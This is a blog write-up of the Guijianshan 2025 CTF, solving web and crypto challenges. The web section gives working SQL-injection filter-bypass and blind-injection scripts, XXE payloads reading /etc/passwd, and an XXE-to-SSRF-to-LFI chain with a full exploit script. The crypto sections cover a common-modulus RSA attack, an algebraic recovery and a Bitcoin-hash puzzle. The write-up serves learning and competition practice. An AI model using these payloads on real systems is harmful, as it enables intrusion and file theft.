2433 words
12 minutes
古剑山2025
2025-12-01

web#

HelloCms#

1. 信息收集与 SQL 注入 (Login Bypass)

访问目标网站 http://120.79.131.78:38888/,发现是一个 CMS 系统。尝试访问 login.php,发现存在登录页面。

经过测试,登录处的 username 参数存在 SQL 注入漏洞,但存在关键字过滤。

过滤器分析

后端代码逻辑类似于:

$id = preg_replace('/or/i', "", $id);
$id = preg_replace('/and/i', "", $id);
$id = preg_replace('/select/i', "", $id);

这意味着 or, and, select 等关键字会被替换为空。

绕过方法

我们可以利用双写绕过过滤器:

  • OR -> OORR (中间的 OR 被删掉后,两边的 O and R 拼在一起)
  • AND -> AANDND
  • SELECT -> SELSELECTECT

通过布尔盲注或联合查询注入,可以获取数据库信息。 最终我们通过注入绕过登录验证,或者直接使用爆破/注入出的管理员密码:kingdom123ABC

登录后,跳转到 write.php

2. XXE 漏洞挖掘

write.php 页面,我们发现可以提交内容。通过抓包发现,提交的数据会被 XML 解析器处理。

读取 write.php 源码(利用后续发现的漏洞确认)或通过报错推测,后端代码使用了 DOMDocument::loadXML 且未禁用外部实体引用 (LIBXML_NOENT)。

$dom = new DOMDocument;
$dom->loadXML($_POST['content'], LIBXML_NOENT);

这导致了 XXE (XML External Entity) 漏洞。我们可以构造 Payload 读取服务器本地文件。

Payload 示例 (读取 /etc/passwd):

<!DOCTYPE root [
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>&x;</root>

3. 内网探测 (SSRF)

由于我们无法直接读取到 Flag(尝试 /flag 失败),我们需要探测内网。 通过读取 /proc/net/arp 文件,获取内网 ARP 表信息。

Payload:

<!DOCTYPE root [
<!ENTITY x SYSTEM "file:///proc/net/arp">
]>
<root>&x;</root>

结果: 发现内网 IP 172.17.0.3

接着,利用 XXE 进行 SSRF (Server-Side Request Forgery) 探测该 IP 的 80 端口。

Payload:

<!DOCTYPE root [
<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/">
]>
<root>&x;</root>

(这里使用了 php://filter base64 编码来避免返回内容破坏 XML 结构)

成功访问到 http://172.17.0.3/,发现是一个 Web 服务。

4. 内网 LFI 漏洞利用

进一步探测 http://172.17.0.3/index.php,并读取其源码。

内网 index.php 源码逻辑:

<?php
error_reporting(0);
include "flag.php";
$file = $_GET['file'];
// 过滤器
if(strstr($file,"../") || stristr($file, "tp") || stristr($file,"input") || stristr($file,"data")) {
echo "Oh no!";
exit();
}
include($file);
?>

发现存在本地文件包含 (LFI) 漏洞,参数为 file。 过滤器拦截了:

  • ../ (路径穿越)
  • tp (拦截 http, ftp 等 wrapper)
  • input, data (拦截 php://input, data://)

未拦截 php://filter

5. 组合攻击 (Chain Exploit)

我们的目标是读取内网服务器上的 flag.php

攻击链路:

  1. 外部 XXE: 攻击者向 write.php 发送 XML Payload。
  2. SSRF: write.php 解析 XML,向内网 http://172.17.0.3/index.php 发起请求。
  3. 内网 LFI: 请求中包含 file 参数,利用 php://filter 读取 flag.php

构造 Payload: 内网请求 URL: http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

注意:URL 中的 php:// 不包含 tp,所以能绕过内网的过滤器。

最终 XML Payload:

<!DOCTYPE root [
<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">
]>
<root>&x;</root>

6. 获取 Flag

发送上述 Payload 后,服务器返回了两层 Base64 编码的数据:

  1. 第一层是 write.php 响应的 Base64(由外部 XXE 的 php://filter 产生)。
  2. 解码第一层后,得到内网 index.php 的响应内容,其中包含 flag.php 源码的 Base64(由内网 LFI 的 php://filter 产生)。

解码内层 Base64,得到 flag.php 源码:

<?php
//echo "flag{50f84daf3a6dfd6a9f20c9f8ef428942}";
?>

sql盲注脚本

import requests
import re
import time
import sys
url = "http://120.79.131.78:38888/login.php"
def encode_payload(payload):
def replace_callback(match):
s = match.group(0)
if s.lower() == 'or': return s[0] + s + s[1]
elif s.lower() == 'and': return s[0] + s + s[1:]
elif s.lower() == 'select': return s[0:3] + s + s[3:]
return s
pattern = re.compile(r"(or|and|select)", re.IGNORECASE)
return pattern.sub(replace_callback, payload)
def check(payload):
encoded_payload = encode_payload(payload)
data = {"username": encoded_payload, "password": "123"}
while True:
try:
response = requests.post(url, data=data, timeout=10)
if "maybe password error!" in response.text:
return False
else:
return True
except Exception as e:
print(f"Error: {e}. Retrying...")
time.sleep(2)
def binary_search(template, min_val, max_val):
low = min_val
high = max_val
while low <= high:
mid = (low + high) // 2
# Check if value > mid
if check(template.format(op=">", val=mid)):
low = mid + 1
else:
high = mid - 1
return low
if __name__ == "__main__":
print("Finding password length...")
length = 13
print(f"Password length: {length}")
print("Dumping password...")
password = "kingd"
sys.stdout.write(password)
sys.stdout.flush()
for i in range(6, length + 1):
char_code = binary_search(f"admin' AND CONV(HEX(MID(password,{i},1)), 16, 10) {{op}} {{val}}#", 32, 126)
char = chr(char_code)
password += char
sys.stdout.write(char)
sys.stdout.flush()
print(f"\nPassword: {password}")

xxe脚本

import requests
import re
import base64
url = "http://120.79.131.78:38888/write.php"
cookies = {"PHPSESSID": "你的SESSION_ID"} # 需先登录获取
def exploit():
# 目标: 利用 XXE -> SSRF -> LFI 读取内网 flag.php
# 内网 LFI Payload: php://filter/read=convert.base64-encode/resource=flag.php
internal_url = "http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php"
# 外部 XXE Payload
xml_payload = f"""<!DOCTYPE root [
<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource={internal_url}">
]>
<root>&x;</root>"""
data = {"content": xml_payload}
print(f"[*] Sending payload targeting: {internal_url}")
r = requests.post(url, cookies=cookies, data=data)
# 提取外层 Base64
match = re.search(r'<root>(.*?)</root>', r.text, re.DOTALL)
if match:
outer_b64 = match.group(1)
try:
# 第一层解码
inner_content = base64.b64decode(outer_b64).decode('utf-8')
print("[+] Outer decode successful.")
# 提取并进行第二层解码 (去除可能存在的空白字符)
inner_b64 = inner_content.strip()
flag_source = base64.b64decode(inner_b64).decode('utf-8')
print("[+] Flag Source found:")
print(flag_source)
except Exception as e:
print(f"[-] Error decoding: {e}")
else:
print("[-] No content found.")
if __name__ == "__main__":
exploit()

crypto#

common rsa#

共模攻击

import gmpy2
from Crypto.Util.number import long_to_bytes
N =
e1 =
c1 =
e2 =
c2 =
def common_modulus_attack(n, e1, c1, e2, c2):
gcd, s1, s2 = gmpy2.gcdext(e1, e2)
if gcd != 1:
print("Error: e1 and e2 are not coprime. GCD is", gcd)
return None
m = (gmpy2.powmod(c1, s1, n) * gmpy2.powmod(c2, s2, n)) % n
return int(m)
m_int = common_modulus_attack(N, e1, c1, e2, c2)
if m_int:
try:
flag = long_to_bytes(m_int)
print("Recovered Flag:", flag.decode())
except Exception as e:
print("Error decoding flag:", e)
print("Raw integer:", m_int)

sol#

关键代码

from Crypto.Util.number import *
import hashlib
p,x,a,b,c=getPrime(2025), getPrime(1024),getPrime(512),getPrime(1024),getPrime(1500)
y=x**4+a*x**2+b*x+c
print(f"y={y}")
print(f"b={b}")
print(f"c={c}")
print(f"p={p}")
flag=b'flag{'+hashlib.md5((str(a)).encode()).hexdigest().encode()+b'}'

已知信息:

  • pp: 2025 位质数(在本题逻辑中似乎未直接用到,可能是干扰项或作为模数背景)
  • yy: 计算结果,数值很大
  • bb: 1024 位质数
  • cc: 1500 位质数
  • y=x4+ax2+bx+cy = x^4 + a \cdot x^2 + b \cdot x + c

未知信息:

  • xx: 1024 位质数
  • aa: 512 位质数

目标:

  • 求解 aa,计算其 MD5 值作为 flag。

我们需要观察方程中各项的数量级大小:

  1. x21024x \approx 2^{1024},则 x4(21024)4=24096x^4 \approx (2^{1024})^4 = 2^{4096}
  2. a2512a \approx 2^{512},则 ax22512(21024)2=2512+2048=22560a \cdot x^2 \approx 2^{512} \cdot (2^{1024})^2 = 2^{512 + 2048} = 2^{2560}
  3. b21024b \approx 2^{1024},则 bx2102421024=22048b \cdot x \approx 2^{1024} \cdot 2^{1024} = 2^{2048}
  4. c21500c \approx 2^{1500}

关键发现: 最高次项 x4x^4 的数量级 (240962^{4096}) 远远大于其他所有项之和。ax2+bx+c22560a \cdot x^2 + b \cdot x + c \approx 2^{2560},这相对于 x4x^4 来说非常小。 因此,我们可以通过对 yy 开四次方根来近似求解 xxyx4    xy4y \approx x^4 \implies x \approx \sqrt[4]{y} 更精确地,考虑到 cc 是常数项,我们可以先减去 ccY=yc=x4+ax2+bxY = y - c = x^4 + a \cdot x^2 + b \cdot x 由于 xx 是整数,我们可以直接计算整数四次方根:x=isqrt(isqrt(Y))x = \text{isqrt}(\text{isqrt}(Y))求出 xx 后,我们可以逐步剥离方程求解 aa

  1. 计算 Yx4Y - x^4Yx4=ax2+bx=x(ax+b)Y - x^4 = a \cdot x^2 + b \cdot x = x \cdot (a \cdot x + b)
  2. 除以 xxYx4x=ax+b\frac{Y - x^4}{x} = a \cdot x + bZ=(Yx4)//xZ = (Y - x^4) // x
  3. 求解 aaZ=ax+b    a=ZbxZ = a \cdot x + b \implies a = \frac{Z - b}{x}

Exp

import hashlib
import math
y =
b =
c =
Y = y - c
x = math.isqrt(math.isqrt(Y))
print(f"Calculated x (approx): {x}")
# 2. 验证并求解 a
# Y - x^4 = a*x^2 + b*x
# 提取因子 x: Y - x^4 = x * (a*x + b)
term1 = Y - x**4
if term1 % x == 0:
# temp = a*x + b
temp = term1 // x
# temp - b = a*x
if (temp - b) % x == 0:
a = (temp - b) // x
print(f"Found a: {a}")
# 计算 Flag
flag_hash = hashlib.md5(str(a).encode()).hexdigest()
flag = f"flag{{{flag_hash}}}"
print(f"Flag: {flag}")
else:
print("Error: (temp - b) not divisible by x")
else:
print("Error: (Y - x^4) not divisible by x")

work#

题目描述 题目要求输入一个 data,使得 SHA256(data) 的结果以 20 个 0 结尾(十六进制表示)。 错误提示:“No enough trailing zeros in your SHA256!” 题目描述中提到 “就算你有超级计算机你也跑不出来的”,并给出了类似 Bitcoin 创世块哈希的提示。

1. 暴力破解不可行 要求 20 个十六进制 0,即 162016^{20} 次尝试,这在计算上是不可能通过普通暴力破解完成的。这暗示我们需要利用现有的、已经经过大量算力计算的结果。

2. 比特币挖矿原理 比特币挖矿的过程就是寻找一个区块头(Block Header),使得其双重 SHA256 哈希值满足一定的难度目标(即小于某个特定的数值)。 比特币的哈希算法是:Block_Hash = SHA256(SHA256(Block_Header))

在比特币浏览器(如 Blockchain.com)上,区块哈希通常以 大端序(Big-Endian) 显示,看起来像这样: 000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc 可以看到它以大量的 0 开头

3. 字节序的转换 关键点在于:比特币协议内部以及标准 SHA256 算法产生的字节流,与浏览器显示的十六进制字符串是 字节反序 的关系。

  • 浏览器显示 (ID): 00 00 ... 00 2d b5 ... (Leading Zeros)
  • 实际内存/SHA256结果: ... b5 2d 00 ... 00 00 (Trailing Zeros!)

这意味着,任何一个在浏览器上显示拥有 20 个 前导零 的比特币区块,其真实的 SHA256 哈希字节流都拥有 20 个 后尾零

4. 构造 Payload 服务端执行的检查是 SHA256(data)。 我们需要 SHA256(data) 结尾为 20 个 0。 已知比特币区块满足:SHA256(SHA256(Block_Header)) 结尾为 20 个 0(在字节流层面)。 因此,如果我们让 data = SHA256(Block_Header),那么服务端计算的 SHA256(data) 就等于比特币的区块哈希,从而满足条件。

我们称 SHA256(Block_Header)Midstate(中间状态)。

5. 实施步骤

  1. 选取区块: 找到一个难度足够高的比特币区块(前导零超过 20 个)。例如区块高度 924457
  2. 获取区块头信息:
    • Version: 1040187392
    • Prev Hash: 000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af
    • Merkle Root: 57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96
    • Time: 1763664997
    • Bits: 1701d936
    • Nonce: 1627458621
  3. 重构区块头: 按照比特币协议(Little-Endian)将上述字段拼接成 80 字节的二进制数据。
  4. 计算 Midstate: 对区块头进行一次 SHA256。
  5. 提交 Payload: 将 Midstate 进行 Base64 编码提交给服务器。

Exp

import hashlib
import struct
import binascii
import base64
import requests
# 目标区块: 924457
# 浏览器显示 Hash: 000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc
# 1. 构造区块头 (注意字节序转换)
version = 1040187392
prev_hash = "000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af"
merkle_root = "57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96"
time_val = 1763664997
bits = "1701d936"
nonce = 1627458621
header = b""
header += struct.pack("<I", version)
header += binascii.unhexlify(prev_hash)[::-1]
header += binascii.unhexlify(merkle_root)[::-1]
header += struct.pack("<I", time_val)
header += binascii.unhexlify(bits)[::-1]
header += struct.pack("<I", nonce)
# 2. 计算 Payload (Midstate)
# data = SHA256(Header)
midstate = hashlib.sha256(header).digest()
# 3. 发送请求
# 服务端将计算 SHA256(data) -> 即 Block Hash (Little Endian Bytes) -> 结尾全是0
payload_b64 = base64.b64encode(midstate).decode()
print(f"Payload: {payload_b64}")
url = "http://47.107.165.153:45552/"
r = requests.get(url, params={"data": payload_b64})
print(r.text)
古剑山2025
https://return-sin.github.io/-sinQwQ-/posts/古剑山2025/
Author
sinQwQ
Published at
2025-12-01
License
CC BY-NC-SA 4.0